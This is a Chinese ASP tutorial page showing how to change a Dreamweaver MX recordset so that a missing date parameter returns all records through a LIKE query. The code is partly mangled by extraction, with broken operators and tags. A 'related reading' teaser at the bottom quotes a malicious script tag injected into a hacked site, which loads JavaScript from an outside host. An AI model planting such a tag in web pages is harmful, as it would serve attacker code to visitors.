在记录集中加入判断使之灵活

2016-01-29 19:53 2 1 收藏

在记录集中加入判断使之灵活,在记录集中加入判断使之灵活

【 tulaoshi.com - ASP 】

       在应用中,有时候会要求按照日期来排列数据,并且还会需要简单的按日期来检索数据,比如在页面上加入一个跳转菜单,包含数据的日期列表,然后选择日期后传递日期参数跳转。这种做法在没有日期的时候应该显示哪一天的数据呢?
通常会用“DATE()”作为没有参数情况下的选择,就是显示当天的数据,但如果当天没有数据呢?
“DATE()-1”?似乎不能解决问题。
先看看Dreamweaver MX 自动生成记录集的SQL代码:

SCSJ.Source = "SELECT * FROM dbo.MCIS_生产数据 WHERE 日期 = '" + Replace(SCSJ__MMColParam, "'", "''") + "' ORDER BY 日期 DESC"

(本文来源于图老师网站,更多请访问https://www.tulaoshi.com/asp/)

在日期字段的过滤上使用了“=”,大家都知道如果是文本类型的话可以使用“LIKE”操作符配合“%”来获得所有记录,如果可以做到,那么在没有日期参数传递的情况下就显示所有的记录倒是不错的选择。
这里的实现方法就是修改Dreamweaver MX 自动生成的记录集代码,加入判断,当URL参数不存在的时候,记录集SQL过滤使用“LIKE”操作符获得所有记录,否则使用“=”操作符获得属于参数日期的记录。

下面是代码,应该很好理解的。
<%
Dim SCSJ__MMColParam
SCSJ__MMColParam = "%"
If (Request.QueryString("MCISDATE") < "") Then
SCSJ__MMColParam = Request.QueryString("MCISDATE")
End If
%
<%
Dim SCSJ
Dim SCSJ_numRows

Set SCSJ = Server.CreateObject("ADODB.Recordset")
SCSJ.ActiveConnection = MM_jbcjsql_STRING
If (Request.QueryString("MCISDATE") < "") Then
SCSJ.Source = "SELECT * FROM dbo.MCIS_生产数据 WHERE 日期 = '" + Replace(SCSJ__MMColParam, "'", "''") + "' ORDER BY 日期 DESC"
ELSE
SCSJ.Source = "SELECT * FROM dbo.MCIS_生产数据 WHERE 日期 LIKE '" + Replace(SCSJ__MMColParam, "'", "''") + "' ORDER BY 日期 DESC"
END IF
SCSJ.CursorType = 0
SCSJ.CursorLocation = 2
SCSJ.LockType = 1
SCSJ.Open()

(本文来源于图老师网站,更多请访问https://www.tulaoshi.com/asp/)

SCSJ_numRows = 0
%

来源:https://www.tulaoshi.com/n/20160129/1510300.html

延伸阅读
标签: 电脑入门
核心提示: 2003版 点击菜单栏的格式背景水印,弹出水印设置窗口,先选择水印类型:图片水印或文字水印。 2007版 点击菜单栏的页面布局水印,弹出水印设置窗口,可以选择默认模版,也可以选择自定义图片水印或文字水印。 本文已2007 为例 点击菜单栏的页面布局水印,弹出水印设置窗口,先选择水印类型:图片水印或文字水印。如果选择图片水...
标签: ASP
  如何在您的网站中加入互动功能(TRANSACTION)呢? IIS(Internet Information Server)与MTS(Mircrosoft Transaction Server)紧密配 合,数据库的更改有"同生共死"的互动(TRANSACTION)功能。 当ASP程序中所有的数据库的变更都成功时,才算成功;有一个数据库的更改失败时, 已经更改的数据库资料将自动恢复(rollback),...
在窗体中加入3D Bar 作者 yxbscsc 下载源代码     经常在VCKBASE上面看到很多别人写的文章,想着自己哪天也在上面写点文章呢!正好前几天由于编程的需要。要做一个有3D边框的static控件,于是在查考别人做的3DBar的基础上,自己做了一个C3DBar类,现在把它奉献给...
标签: Web开发
昨天晚上发现访问我的网站的时候网页代码html的前面多了一串js代码。刚开始以为网站被黑了,赶紧到服务器上查看所有文件是否带有这串js代码,搜索结果没有,而且服务器也没发现被入侵的痕迹。 script src=http://fuck.ns2go.com/dir/index_pic/1.js/script 于是只能从这段代码入手,我下载这个js开发发现是下面一段代码: 代码如下: ...
标签: 生活常识
如何在ios系统中加入QQ邮箱   如何在ios系统中加入QQ邮箱 苹果的设备上都内置了邮件程序,而且也内置了诸多邮件提供商的默认设置, 像Gmail、Yahoo邮箱等, 但是要在苹果设备上使用国内邮件提供商(如QQ、sina、163等)提供的服务就要靠自己动手设置了。 图老师阅读配图 1.首先要用浏览器登陆QQ邮箱,在QQ邮...

经验教程

749

收藏

51
微博分享 QQ分享 QQ空间 手机页面 收藏网站 回到头部